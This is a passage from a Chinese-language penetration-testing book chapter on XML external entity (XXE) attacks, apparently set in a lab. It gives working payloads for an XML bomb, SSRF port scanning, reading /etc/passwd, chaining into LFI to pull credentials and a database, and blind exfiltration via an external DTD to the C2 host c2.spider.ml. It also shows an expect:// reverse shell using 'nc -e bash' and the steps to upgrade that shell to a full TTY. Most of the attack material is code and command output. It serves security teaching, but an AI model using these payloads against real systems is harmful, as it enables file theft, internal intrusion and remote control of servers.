<user> 元素表示记录类型,其边界为 </user>,类似于 HTML。这也是根元素。在该记录中,我们有 <name>、<id> 和 <email> 条目,并包含相应的值。需要注意的是,任何解析此数据的应用程序都必须知道如何处理其中的内容。现代网页浏览器知道如何处理 HTML 中的 <div> 和 <a>,因为它们都遵循标准。交换 XML 数据的应用程序必须就数据的内容以及如何处理或呈现这些数据达成一致。从语法角度来看,XML 结构是有效的(即所有标签都正确闭合,存在根元素,文档头部也已包含),但可能缺少预期的元素,且应用程序在解析数据时可能会崩溃或浪费资源。
内部和外部引用
文档类型定义(DTD)用于规范构建特定文档的正确方式。DTD 在 XML 文档中通过使用文档类型声明(DOCTYPE)元素进行引用。DTD 可以完整地写在 XML 文档中,也可以通过外部引用供解析器下载和处理。
内部 DTD 通常位于 XML 文档的顶部,在 DOCTYPE 标签中:
<?xml version="1.0" encoding="UTF-8"?>
**<!DOCTYPE user [**
**<!ELEMENT user ANY>**
**<!ENTITY company "Ellingson Mineral Company">**
**]>**
<user>
<name>Dade Murphy</name>
<id>1</id>
<email type="local">admin@localhost</email>
<company>**&company;**</company>
</user>
上面的内部 DTD 定义了user根元素和一个内部实体company,该实体定义为存储字符串值"Ellingson Mineral Company"。在文档本身中,可以使用与 HTML 类似的符号(&和;)来引用公司实体。当解析器遇到&company;字符串时,它会插入在前面的 DTD 中定义的值。
如我之前所说,也可以将文档的 XML 解析器指向外部 DTD 文件。解析器将在处理文档的其余部分之前,去获取该文件。外部 DTD 在DOCTYPE中通过在前面加上SYSTEM关键字进行引用:
<?xml version="1.0" encoding="UTF-8"?>
**<!DOCTYPE user SYSTEM "user.dtd">**
<user>
<name>Dade Murphy</name>
<id>1</id>
<email type="local">admin@localhost</email>
<company>**&company;**</company>
</user>
user.dtd文件将包含我们的实体和元素定义:
<!DOCTYPE user [
<!ELEMENT user ANY>
<!ENTITY **company** "Ellingson Mineral Company">
]>
一旦 DTD 成功下载并解析,company实体将会像以前一样被扩展。
就像我们的外部 DTD 定义一样,我们也可以引用外部实体。其语法类似于引用外部 DTD:它需要使用SYSTEM关键字和 URI:
<?xml version="1.0" encoding="UTF-8"?>
**<!DOCTYPE user [<!ELEMENT user ANY><!ENTITY company SYSTEM "http://config.ecorp.local/company.xml">]>**
<user>
<name>Dade Murphy</name>
<id>1</id>
<email type="local">admin@localhost</email>
<company>**&company;**</company>
</user>
我们可以将此 XML 文档传递给解析器,作为例如 API 身份验证请求的一部分。当解析器需要解析&company;实体时,它会建立一个 HTTP 连接到config.ecorp.local,然后将内容回显在<company>元素中。
攻击者的思维方式会注意到用户能够影响服务器行为的能力,并可能寻找滥用这种能力的方法。
XXE 攻击
XXE 攻击利用了 XML 库允许这些外部引用(如 DTD 或实体)的事实。开发人员可能没有意识到这一潜在的攻击向量,而 XML 输入有时会被忽略清理。例如,作为与 API 通信的攻击者,我们可以拦截 SOAP XML 请求,并在负载中注入我们自己的 XML 元素。服务器端组件必须解析此负载以了解如何处理数据。如果解析器未正确配置,并且允许外部实体,我们可以利用服务器读取系统上的文件,执行 SSRF 攻击,发起 DoS 攻击,甚至在某些情况下执行代码。
十亿次笑声
十亿次笑声攻击,也称为XML 炸弹,是一种 DoS 攻击,旨在通过让 XML 解析器分配比可用内存更多的内存,从而使其超载,且仅使用相对较小的输入缓冲区。在较旧的系统或内存有限的虚拟机上,解析器炸弹可能会迅速导致应用崩溃,甚至使宿主崩溃。
XML 炸弹利用了文件格式(如 XML)允许用户指定对其他任意定义数据的引用或指针这一事实。在前面的示例中,我们使用实体扩展将&company;替换为在文档头部或外部定义的数据。
XML 炸弹的样子如下:

图 10.1:XML 炸弹攻击
解析器将查看这些数据并开始扩展实体,从 <lolz> 根元素开始。对 &lol9; 实体的引用将指向由 &lol8; 定义的 10 个其他引用。这一过程会一直重复,直到第一个实体 &lol; 扩展为 "lol" 字符串。最终结果是内存中分配了 10⁹ (10 亿) 个 "lol" 字符串的实例,或者说一亿次笑声。这本身就可能占用多达 3 GB 的内存,具体取决于解析器及其如何在内存中处理字符串。在现代服务器上,除非此攻击通过多个连接分布到应用程序上,否则其影响可能微乎其微。
注意
和往常一样,在客户端系统上测试这些类型的漏洞时要小心。DoS 攻击通常在工作中不被允许。在极少数允许 DoS 攻击的情况下,XML 炸弹可能是一个有效的方式,用来在蓝队集中资源时拖慢其速度,前提是该系统不是业务关键系统。
XML 并不是唯一允许这种类型的 DoS 攻击的文件格式。事实上,任何具有创建指向其他数据的指针的语言都可以以类似的方式被滥用。YAML,一种通常用于配置文件中的人类可读的文件格式,也允许指向数据的指针,因此也可以发生 YAML 炸弹攻击:

图 10.2:YAML 一亿次笑声攻击
这些攻击的效果差异很大,取决于所使用的库及其内存管理方式,以及底层操作系统和可用的内存。虽然并非所有的炸弹都会导致系统崩溃,但它们确实展示了输入清理的重要性。破坏机密性和违反完整性可能更具吸引力,但当可用性可以通过几行代码轻易地被影响时,防御者应该保持警惕。
请求伪造
请求伪造 攻击发生在应用程序被迫向攻击者选择的其他主机发送请求时。外部实体扩展攻击是一种 SSRF 攻击形式,因为它强迫应用程序连接到任意的 URL 来下载 DTD 或其他 XML 数据。
在最坏的情况下(或者从你的角度来看,最好情况),像 XXE 这样的请求伪造可能导致信息泄露、盲数据外泄,甚至远程代码执行,正如我们稍后将看到的。然而,SSRF 也可以用于将攻击链延伸至内部的非公开服务器,甚至进行端口扫描。
为了展示这种特定的攻击,我们将使用一个用 PHP 编写的 XML 解析应用程序。对于大多数非开发者来说,代码应该相当简单易懂:

图 10.3:简单的 PHP XML 解析器
代码的简要概述:
-
第 7 到第 11 行定义了一个 HTML 表单,允许用户通过
POST请求提交 XML 数据。 -
第 2 到第 5 行将使用
SimpleXMLPHP 模块处理传入的 XML 文本。解析后的数据将作为 XML 对象存储:$xml_object。 -
第 13 到 23 行将整齐地显示解析后的 XML 数据。
我们可以从命令行启动一个临时 Web 服务器,使用内置的 PHP 测试服务器对我们的易受攻击的 XML 解析应用程序进行一些 SSRF 攻击测试:
root@kali:/var/www/html# php -S 0.0.0.0:80
注意
出于演示目的,我们的应用程序将通过http://xml.parser.local访问。

图 10.4:运行中的易受攻击的 PHP XML 解析器
为了测试解析器的外部实体扩展功能,我们可以使用表单发送一个简短的 XML 负载,描述一本书。我们将使用由 Burp Collaborator 托管的外部实体。虽然这不是一个有效的负载,因为 Collaborator 会返回一个预设的 HTML 响应,但它可以帮助我们确认应用程序是否存在漏洞。
让我们创建一个新的 Collaborator 客户端实例,并将生成的主机传递给我们的负载中的应用程序:
从Burp菜单中选择Burp Collaborator 客户端选项:

图 10.5:启动 Burp Collaborator 客户端模块
我们将生成一个 Collaborator 主机,并在客户端窗口中选择复制到剪贴板。在生成主机名后,重要的是不要关闭 Collaborator 客户端,直到攻击结束。如果我们过早关闭它,Collaborator 将无法将发往该主机名的带外请求与我们的 Burp 会话关联:

图 10.6:将生成的 Collaborator 主机名复制到剪贴板
生成的值将类似于此:
gl50wfrstsbfymbxzdd454v2ut0jo8.burpcollaborator.net
现在我们将构建一个 XML 文档,从我们刚刚生成的 Burp Collaborator 主机中获取publisher值。我们希望当脆弱的应用程序尝试获取外部内容时,Burp Collaborator 能够拦截该请求并确认漏洞:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE book [
<!ELEMENT book ANY >
<!ENTITY publisher SYSTEM "**http://gl50wfrstsbfymbxzdd454v2ut0jo8.burpcollaborator.net/publisher.xml**">
]>
<book>
<title>The Flat Mars Society</title>
<publisher>&publisher;</publisher>
<author>Elon Musk</author>
</book>
注意
确认这一点不需要 Collaborator。我们可以在云中的 C2 服务器上运行一个简单的 HTTP 服务器。Collaborator 在需要 HTTPS 连接时非常有用,或者在确认必须通过 DNS 或其他协议进行时。
结果是一个整齐的解析对象,显示在屏幕底部的红色区域:

图 10.7:提交 XML 负载并观察响应
我们可以看到,&publisher;实体被解析器成功解析,这意味着应用程序向我们的 Collaborator 实例发出了外部 HTTP 连接。有趣的是,解析器成功地将 HTML 响应解释为 XML,因为 XML 和 HTML 的结构相似:
<html>
<body>**[content]**</body>
</html>
从客户端轮询 Collaborator 服务器确认了该漏洞的存在,现在我们知道我们可以以某种方式影响服务器:

图 10.8:Collaborator 客户端确认 SSRF 漏洞
端口扫描仪
了解到我们可以将应用程序指向任何 URL 并进行连接,我们可以利用这一点对内部网络(或其他任何主机)进行粗略的端口扫描。我们不仅可以扫描 HTTP 端口。URL 允许指定任意端口,虽然它可能尝试协商 HTTP 连接,但我们仍然可以通过检查解析器连接尝试的错误信息来推测存在 SMTP 服务。
由于我们正在伪造请求,使其看起来来自脆弱的 XML 解析器应用程序,因此所有的端口扫描尝试将表现为来自内部受信任系统。这从隐匿性角度来看是有利的,并且在某些情况下,可以避免触发警报。
我们将用于 XXE 端口扫描器的 XML 代码将针对 10.0.5.19 内部主机,寻找有趣的服务:8080、80、443、22 和 21:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE budgetnmap [
<!ELEMENT budgetnmap ANY>
**<!ENTITY port0 SYSTEM "http://10.0.5.19:8080/">**
**<!ENTITY port1 SYSTEM "http://10.0.5.19:80/">**
**<!ENTITY port2 SYSTEM "http://10.0.5.19:443/">**
**<!ENTITY port3 SYSTEM "http://10.0.5.19:22/">**
**<!ENTITY port4 SYSTEM "http://10.0.5.19:21/">**
]>
<budgetnmap>
&port0;
&port1;
&port2;
&port3;
&port4;
</budgetnmap>
一旦上传到应用程序进行解析,负载将迫使 XML 解析器系统地连接到每个指定的端口,尝试为 &portN; 实体获取数据:

图 10.9:XXE 端口扫描器显示开放端口的错误信息
服务器的响应有些凌乱,但它确实提供了足够的信息,说明内部主机 10.0.5.19 上的端口 80 实际是开放的。解析器能够连接到该端口,虽然它未能解析其内容,但错误信息却提供了有价值的线索。相反,实体 &port0; 返回了一个 Connection timed out 错误消息,这表明该端口可能被防火墙屏蔽。
Burp Suite 具有一个非常方便的功能,可以让我们将捕获的任何请求复制为 curl 命令。如果我们希望对另一个内部主机重复进行此攻击,可能还需要解析响应供其他工具使用,我们可以通过一次点击快速复制负载:

图 10.10:将 Burp 请求保存为 curl 命令
生成的 curl 命令可以通过管道传递给 grep,我们可以过滤出仅包含 "http:" 的行,以使输出更易于阅读:
curl -i -s -k -X $'POST' -H $'Content-Type: application/x-www-form-urlencoded' --data-binary $'xml=%3C%3Fxml+version%3D%221.0%22+[...]%3C%2Fbudgetnmap%3E%0D%0A&submit_xml=Parse+XML' $'http://xml.parser.local/xml.php' | **grep "http:"**
<b>Warning</b>: simplexml_load_string(**http://10.0.5.19:8080/**): failed to open stream: **Connection timed out** in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />
[...]
<b>Warning</b>: simplexml_load_string(): **http://10.0.5.19:80/**:1: parser error : **StartTag: invalid element name** in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />
[...]
<b>Warning</b>: simplexml_load_string(**http://10.0.5.19:443/**): failed to open stream: **Connection timed out** in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />
[...]
<b>Warning</b>: simplexml_load_string(**http://10.0.5.19:22/**): failed to open stream: **Connection timed out** in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />
[...]
<b>Warning</b>: simplexml_load_string(**http://10.0.5.19:21/**): failed to open stream: **Connection timed out** in <b>/var/www/html/xml/xml.php</b> on line <b>4</b><br />
从这里开始,我们可以更进一步,自动化负载生成或进一步清理输出。
信息泄露
XXE 也可以用来读取应用程序可以访问的任何磁盘上的文件。当然,大多数情况下,更有价值的文件是应用程序的源代码,这是攻击者的常见目标。请记住,外部实体是通过 URL 访问的,在 PHP 中,文件系统是通过 file:// URL 前缀访问的。
要读取 Linux 系统上的 /etc/passwd 文件,像这样的简单负载就能奏效:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY exfil SYSTEM "**file:///etc/passwd**">
]>
<xxe>&exfil;</xxe>
结果是可预测的,并且是我们向客户报告的一个很好的概念验证。XML 解析器将通过 file:// 协议访问,获取 /etc/passwd 的内容,并在屏幕上显示:

图 10.11:利用 XXE 获取 /etc/passwd
正如我之前提到的,对于这种类型的攻击,除了文件外,还可以考虑更多高价值的目标进行数据外泄:应用程序的源代码、私钥(SSH 私钥和证书私钥)、历史文件、操作系统配置文件或脚本等。如果应用程序可以读取磁盘上的文件,我们也能读取。
然而,使用此漏洞不仅仅可以访问本地文件。SSRF 攻击,例如 XXE,也可以用来针对可能无法从外部网络访问的内部应用程序,例如其他虚拟局域网(VLAN)或互联网。
注释
我们将用于演示的内部应用程序运行在10.0.5.19,它是 Mike Pirnat 的出色badguys项目。该 Web 应用程序的代码可以从github.com/mpirnat/lets-be-bad-guys下载。
假设在进一步调查我们之前成功扫描过的服务器后,我们意识到10.0.5.19上运行的应用程序容易受到 LFI 攻击。我们无法直接从我们的网络段访问10.0.5.19,只有目标xml.parser.local应用程序暴露给我们。通常情况下,我们无法攻击10.0.5.19,但由于 XXE SSRF 问题,我们可以迫使 XML 解析器代我们执行攻击。
我们将构建一个有效载荷,传递给xml.parser.local,这将迫使它连接到我们的目标内部服务器,并通过 LFI 攻击从易受攻击的应用程序中检索设置文件。
运行在内部10.0.5.19主机上的 badguys 应用程序在/user-pic URL 参数p中存在 LFI 漏洞:
http://10.0.5.19/user-pic?p=**[LFI]**
这个特别的易受攻击应用程序是开源的,通过简单的 GitHub 搜索,我们可以了解文件夹结构的所有信息。对于其他框架和 CMS 也是如此。一个容易受到 LFI 攻击的 WordPress 安装也可以轻松利用,获取wp-config.php的内容。
我们知道设置文件的相对路径,因为我们已经查找过,并且可以将其用作 LFI 利用的注入有效载荷。badguys 应用程序将设置存储在一个名为settings.py的文件中,通常存储在当前工作目录的上两级目录中。
为了获取这个文件的内容,我们的 XML 有效载荷可能会像这样:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY exfil SYSTEM "**http://10.0.5.19/user-pic?p=../../settings.py**">
]>
<xxe>**&exfil;**</xxe>
我们将不使用 Collaborator 主机名,而是要求 XML 服务器连接到内部主机并将响应返回给我们。如果一切顺利,XML 解析器将利用运行在10.0.5.19上的内部 badguys 应用程序,给我们返回settings.py文件的内容:

图 10.12:使用 XXE 在内部主机上利用 LFI
settings.py 文件包含一些有趣的信息,包括数据库凭证和 sqlite3 文件路径。记下这些信息以供将来使用是没有坏处的。一个值得注意的文件是 SQLite 3 数据库本身,它位于 10.0.5.19 内部主机的 c:\db\badguys.sqlite3 路径下。
我们可以使用相同的 LFI 攻击来抓取其内容。
仅仅通过更改 p 路径到数据库文件存在一个问题:
http://10.0.5.19/user-pic?p=**../../../../../../db/badguys.sqlite3**
在正常的 LFI 情况下,这种方法完全可行。我们遍历足够的目录以达到驱动器的根目录,切换到 db 目录,并抓取 badguys.sqlite3 文件。
你会注意到,在我们的有效载荷中,SQLite 3 数据库的内容将被抓取并插入到 <xxe> 标签中,解析器在处理 XML 数据之前:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY exfil SYSTEM "http://10.0.5.19/user-pic?p=../../../../../../db/badguys.sqlite3">
]>
**<xxe>&exfil;</xxe>**
SQLite 3 的文件格式包含一些大多数 XML 解析器处理时会遇到问题的字符,因此解析错误可能会阻止我们抓取内容。
如果我们按原样运行有效载荷,我们会观察到尽管数据库的内容已被抓取,应用程序并没有返回它们,因为它尝试将其作为 <xxe> 标签的一部分进行解析。SQLite 3 的二进制格式并不真正适合 XML:

图 10.13:XXE 攻击未能返回数据库的内容
为了绕过这个问题,理想情况下,我们希望 XML 解析器在将数据注入到 <xxe> 标签进行处理之前,先对它从易受攻击的内部应用程序获取的数据进行编码。
XML 解析器应用程序是用 PHP 编写的,因此可以访问各种转换过滤器,这些过滤器可以应用于流式数据,如从 URL 获取的资源。可以通过 php:// 协议访问过滤器,如下所示:
php://filter/convert.base64-encode/resource=**[URL]**
可用的转换过滤器之一是 base64-encode,这在我们的案例中将非常有用。
注意
PHP 的文档显示了所有可用的过滤器,php.net/manual/en/filters.php。数据可以在传输过程中进行转换、加密或压缩。
要对 SQLite 3 数据库的内容进行 Base64 编码,我们需要伪造一个请求,指向以下 URI:
php://filter/convert.base64-encode/resource=**http://10.0.5.19/user-pic?p=../../../../../../db/badguys.sqlite3**
convert.base64-encode 过滤器已应用于包含我们所需数据库内容的远程资源。返回将是一个长的 Base64 字符串,应该不会再引发解析器错误:

图 10.14:使用 PHP Base64 过滤器修改重复攻击
现在我们可以通过 CyberChef 运行 Base64 响应,并选择将解码后的数据保存到文件中:

图 10.15:从内部主机提取的 SQL 数据库
注意
CyberChef 是一个非常棒的数据处理工具,可以在线使用或从 GCHQ 下载,gchq.github.io/CyberChef/。
成功了!我们通过链式利用两个漏洞成功泄露了来自内部系统的数据库:
XML External Entity (**XXE**) Server-side Request Forgery (**SSRF**) -> Local File Inclusion (**LFI**)
正如我们所见,请求伪造,特别是 XXE(因为我们可以获取响应的内容),在渗透测试中可能非常有价值。
盲 XXE
正如你在日常工作中可能已经看到的,并非所有 XML 解析器都像前面的例子那样冗长。许多 Web 应用程序被配置为抑制错误和警告,有时甚至不会将任何有用的数据返回给你。之前的攻击依赖于有效载荷被处理且实体被回显到屏幕上的事实,这使得我们能够轻松地进行数据泄漏。
然而,在某些情况下,这可能无法实现。
为了展示这个攻击,我们将修补我们的 XML 解析器应用程序,抑制 PHP 错误信息,并在每次提交后显示一个通用信息:

图 10.16:修改后的 PHP XML 解析器不返回数据
第 2、3 和 22 行将使我们之前的信息泄露攻击无效。即使我们成功利用 XXE,我们也无法看到我们尝试获取的文件内容。然而,SSRF 攻击仍然有效,但在实际利用中并不如 XXE 那么直接。

图 10.17:盲 XXE 攻击不会产生任何可用的输出
如果应用程序在利用后没有返回任何有用的内容,我们该如何进行数据外泄?
我们需要更具创意。带外漏洞识别使用 C2 服务器来确认应用程序是否存在漏洞,通过观察传入的网络连接。确认盲 XXE 漏洞也可以通过带外方式完成,正如之前的例子所示,可以使用 Burp Collaborator 或外部 C2 服务器。
如果我们不指示 XML 解析器通过<xxe>&exfil;</xxe>标签返回所需的数据,而是采用带外的方法,会怎样呢?由于我们无法在浏览器中返回数据,我们可以要求解析器连接到 C2 服务器并将数据附加到 URL 上。这样我们就可以通过分析 C2 服务器的访问日志来获取内容。
我们知道可以使用流过滤器将文件内容进行 Base64 编码。现在让我们将这两者结合起来,尝试将数据发送到 C2 服务器,而不是 Web 浏览器。
我们需要在 XML 有效载荷中定义的实体大概是这样的:
<!ENTITY % data SYSTEM "**php://filter/convert.base64-encode/resource=file:///etc/issue**">
<!ENTITY % conn "<!ENTITY exfil SYSTEM '**http://c2.spider.ml/exfil?%data;**'>">
细心的读者会注意到实体名称前面出现了新的百分号字符。这表示这是一个参数实体,而非我们之前使用的通用实体。通用实体可以在根元素树中的某个位置引用,而参数实体可以在 DTD 或文档的头部引用:
-
参数实体以百分号字符(
%)为前缀 -
通用实体以与号字符(
&)为前缀
下一步是尝试将这两个实体放入我们之前的有效载荷中:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY % data SYSTEM "**php://filter/convert.base64-encode/resource=file:///etc/issue**">
<!ENTITY % conn "<!ENTITY exfil SYSTEM '**http://c2.spider.ml/exfil?%data;**'>">
**%conn;**
]>
<xxe>&exfil;</xxe>
如你所见,我们在DOCTYPE中定义了%data和%conn参数实体。%conn实体还定义了一个通用实体&exfil,它将把 Base64 编码的%data实体附加到我们的 C2 URL 上进行外泄。
紧接在参数实体定义后,我们评估%conn,它将启动数据收集和编码过程。这也将定义&exfil,稍后在文档正文中被调用。
简单来说,易受攻击的 XML 解析器将执行以下操作:
-
尝试扩展
%data,并通过此操作获取/etc/issue文件的内容 -
使用
php://filter方案对/etc/issue的内容进行编码 -
尝试扩展
%conn,并通过此操作连接到我们的 C2 服务器c2.spider.ml -
通过 URL 传递
%data的 Base64 内容
不幸的是,由于 XML 标准的限制,载荷不能按原样工作。对参数实体(如%data和%conn)的引用在标记声明中是不允许的。我们必须使用外部 DTD 来定义这些实体。
我们可以使用xmllint Linux 命令在本地检查我们的载荷是否有错误,如下所示:
root@kali:/tools# xmllint payload.xml
payload.xml:5: parser error : **PEReferences forbidden in internal subset**
<!ENTITY % conn "<!ENTITY exfil SYSTEM 'http://c2.spider.ml/exfil?%data;'>">
^
payload.xml:5: parser warning : not validating will not read content for PE entity data
<!ENTITY % conn "<!ENTITY exfil SYSTEM 'http://c2.spider.ml/exfil?%data;'>">
^
payload.xml:6: parser error : PEReference: %conn; not found
%conn;
^
payload.xml:8: parser error : Entity 'exfil' not defined
<xxe>&exfil;</xxe>
^
注释
xmllint可在 Debian 系发行版(如 Kali)的libxml2-utils包中找到。
解决方法非常简单。我们将在 C2 服务器上将%data和%conn的实体声明存储在外部 DTD 文件中:
root@spider-c2-1:~/c2/xxe# cat **payload.dtd**
<!ENTITY % data SYSTEM "**php://filter/convert.base64-encode/resource=file:///etc/issue**">
<!ENTITY % conn "<!ENTITY exfil SYSTEM '**http://c2.spider.ml/exfil?%data;**'>">
我们还将设置一个简单的 Web 服务器,通过php -S命令向目标提供payload.dtd,如图所示:
root@spider-c2-1:~/c2/xxe# php -S 0.0.0.0:80
PHP 7.0.27-0+deb9u1 Development Server started
Listening on http://0.0.0.0:80
Document root is /root/c2/xxe
Press Ctrl-C to quit.
修改后的载荷将如下所示:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY % dtd SYSTEM "**http://c2.spider.ml/payload.dtd**">
**%dtd;**
**%conn;**
]>
<xxe>**&exfil;**</xxe>
这里唯一的实际区别是,我们将两个参数实体声明移到了外部 DTD 中,并在 XML DOCTYPE中引用它。
正如预期的那样,我们的 XML 数据没有生成任何错误,也没有返回任何数据。我们目前无法得知具体情况:

图 10.18:修改后的 XML 漏洞利用代码
然而,在c2.spider.ml C2 服务器上,我们可以看到来自目标的两个 HTTP 请求:
root@spider-c2-1:~/c2/xxe# php -S 0.0.0.0:80
PHP 7.0.27-0+deb9u1 Development Server started
Listening on http://0.0.0.0:80
Document root is /root/c2/xxe
Press Ctrl-C to quit.
[] 107.181.189.72:42582 [200]: **/payload.dtd**
[] 107.181.189.72:42584 [404]: **/exfil?S2FsaSBHTlUvTGludXggUm9sbGluZyBcbiBcbAo=**
[...]
第一个请求请求的是payload.dtd文件;这意味着我们已确认 XXE 漏洞。文件内容已被处理,随后的对包含我们数据的exfil URL 的调用几乎立即出现在日志中。
再次使用 CyberChef,Base64 解码 URL 数据后,我们得到了 XML 解析器应用服务器上/etc/issue文件的内容:

图 10.19:CyberChef 解码 Base64 外泄数据
这种外泄方法对于较小的文件效果很好,但通过 HTTP 发送大块的 Base64 数据可能会遇到问题。大多数客户端,如 PHP 或 Java,无法处理长度超过大约 2,000 个字符的 URL。在某些情况下,最多可能允许 4,000 个字符。不同的客户端实现差异很大,因此在使用 XXE 窃取数据时,请记住这些限制。
远程代码执行
啊,没错,这是渗透测试的圣杯。虽然远程代码执行较为少见,但在某些 XXE 漏洞的应用部署中,它是可能发生的。松散的配置和易受攻击的组件可能使我们能够利用 XML 解析器,从而实现远程代码执行。
在之前的示例中,我们利用了一个相对简单的有效载荷从磁盘读取数据:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY exfil SYSTEM "file://**/etc/passwd**">
]>
<xxe>**&exfil;**</xxe>
一旦解析,<xxe> 标签将包含 /etc/passwd 文件的内容。得益于 PHP 的 expect 模块,要求 PHP 执行代码变得不那么困难。虽然默认情况下并不常部署,但 expect 扩展为 PHP 应用程序提供了一个 expect:// 包装器,使得开发者可以通过类似 URL 的语法执行 shell 命令。
与 file:// 包装器类似,expect:// 提供对 PTY 流的读写访问,而不是对文件系统的访问。开发者可以使用 fopen 函数结合 expect:// 包装器来执行命令并获取其输出:
<?php
$stream = fopen("expect://ssh root@remotehost uptime", "r");
?>
上述代码将打开一个只读流,连接到底层系统 shell,执行 ssh root@remotehost 命令,并在连接后,远程主机将执行 uptime 命令。
一旦完成,结果可以在应用程序的其余部分中使用。
在攻击 XML 时,我们不需要执行 PHP 代码并调用 fopen 函数。expect:// 包装器在 XML 解析器中已经可以直接使用。
使用 expect:// 相比于内置的系统 passthru 命令执行有其优势,因为它允许与终端进行一些交互,而 shell passthru 命令则更加有限。因此,你仍然可能会遇到这个模块已安装并启用的情况。
要在启用了 expect 模块的系统上看到这个操作,我们可以执行以下有效载荷。我们传递给 expect:// 的命令是一个简单的 netcat bash 重定向器,指向我们位于云端的 C2 服务器 c2.spider.ml:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe [
<!ELEMENT xxe ANY >
<!ENTITY shell SYSTEM "**expect://nc -e bash c2.spider.ml 443**">
]>
<xxe>**&shell;**</xxe>
这的美妙之处在于我们不一定关心输出。如果这是一个盲目 XXE 攻击,我们的 shell 会正常生成。
一旦 XML 有效载荷被解析,且应用程序尝试展开 shell 实体,expect 模块将执行我们在目标上使用的 netcat 命令,我们将获得对应用服务器的 shell 访问:
root@spider-c2-1:~# nc -lvp 443
listening on [any] 443 ...
connect to [10.240.0.4] from [107.181.189.72] 42384
**id**
**uid=33(www-data) gid=33(www-data) groups=33(www-data)**
**pwd**
**/var/www/html/xml**
Netcat 并不是唯一的 shell 选项。如果我们通过 expect:// 获得代码执行权限,还可以上传 Meterpreter 有效载荷,并通过 Metasploit 控制台获取访问权限,从而获得更多的后期利用工具。有了远程代码执行,几乎没有限制。
交互式 Shell
通过 netcat 反向 shell 可以执行一些命令并可能读取文件,但它不提供交互性。为了在后期利用中更高效,我们需要访问一些工具,比如 Vim 或 SSH,它们需要一个合适的终端。
升级我们的 shell 需要几个步骤,有些人可能称之为魔法。首先,我们可以调用python来生成一个新的 TTY bash shell。虽然不完美,但比我们之前的要好:
python -c '**import pty; pty.spawn("/bin/bash")**'
如果你不熟悉 Python,这一行代码可能看起来很奇怪,但它其实做的就是导入pty包并生成一个 bash shell。
在我们的反向 shell 中,我们执行python命令,结果应该看起来很熟悉:
root@spider-c2-1:~# nc -lvp 443
listening on [any] 443 ...
connect to [10.240.0.4] from [107.181.189.72] 42384
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/html/xml
**python -c 'import pty; pty.spawn("/bin/bash")'**
**www-data$**
仍然存在一些问题:虽然 Vim 能正常工作,但无法访问历史记录,Tab 补全也不起作用,Ctrl-C会终止 shell。
让我们更进一步,尝试通过stty和本地终端配置升级到完整的 TTY。
首先,一旦使用前面的 Python 一行代码升级了 shell,我们需要通过Ctrl-Z将进程发送到后台:
root@spider-c2-1:~# nc -lvp 443
listening on [any] 443 ...
connect to [10.240.0.4] from [107.181.189.72] 42384
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/html/xml
**python -c 'import pty; pty.spawn("/bin/bash")'**
**www-data$ ^Z**
**[1]+ Stopped nc -lvp 443**
**root@spider-c2-1:~#**
我们需要通过检查$TERM变量来找出当前的终端类型:
python -c 'import pty; pty.spawn("/bin/bash")'
www-data$ ^Z
[1]+ Stopped nc -lvp 443
root@spider-c2-1:~# **echo $TERM**
**screen**
注意
我们的 C2 服务器正在一个screen会话中运行,但在典型的 Kali 安装中,你可能会看到xterm-256color或 Linux。
现在,我们需要配置好的终端显示行数和列数。为了获取这些值,我们使用stty程序并加上-a选项:
root@spider-c2-1:~# stty -a
speed 38400 baud; **rows 43**; **columns 142**; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch =
[...]
下一个命令可能看起来像是破坏了终端,但为了防止Ctrl-C终止我们的 shell,我们必须将 TTY 设置为raw并禁用每个字符的回显。我们在 shell 中输入的命令仍然会被处理,但没有激活反向 shell 时,终端本身可能看起来已经损坏。
我们告诉stty将终端设置为raw并通过-echo禁用回显:
python -c 'import pty; pty.spawn("/bin/bash")'
www-data$ ^Z
[1]+ Stopped nc -lvp 443
root@spider-c2-1:~# echo $TERM
screen
root@spider-c2-1:~# stty -a
speed 38400 baud; rows 43; columns 142; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch =
[...]
root@spider-c2-1:~# **stty raw -echo**
为了将我们的 shell 从后台恢复过来,我们输入fg命令。你会注意到,由于之前输入的stty raw -echo命令,这个命令并没有在终端中回显,但它应该还是会被处理:
python -c 'import pty; pty.spawn("/bin/bash")'
www-data$ ^Z
[1]+ Stopped nc -lvp 443
root@spider-c2-1:~# echo $TERM
screen
root@spider-c2-1:~# stty -a
speed 38400 baud; rows 43; columns 142; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch =
[...]
root@spider-c2-1:~# stty raw -echo
root@spider-c2-1:~# **nc -lvp 443**
从后台返回后,你将看到反向 shell 命令回显到屏幕上:nc -lvp 443,一切可能又看起来有些破损。没关系——我们可以输入reset来清理它。
在反向 shell 中,现在一切看起来都恢复正常,我们还需要设置相同的终端选项,包括行数、列数和类型,以便 shell 正常工作:
www-data$ **export SHELL**=**bash**
www-data$ **export TERM**=**screen**
www-data$ **stty rows 43 columns 142**
最终的结果是一个完全可用的终端,具有所有炫酷的功能,没错,我们甚至可以在我们的 netcat 反向 shell 中运行screen:

图 10.20:完全功能的交互式反向 shell
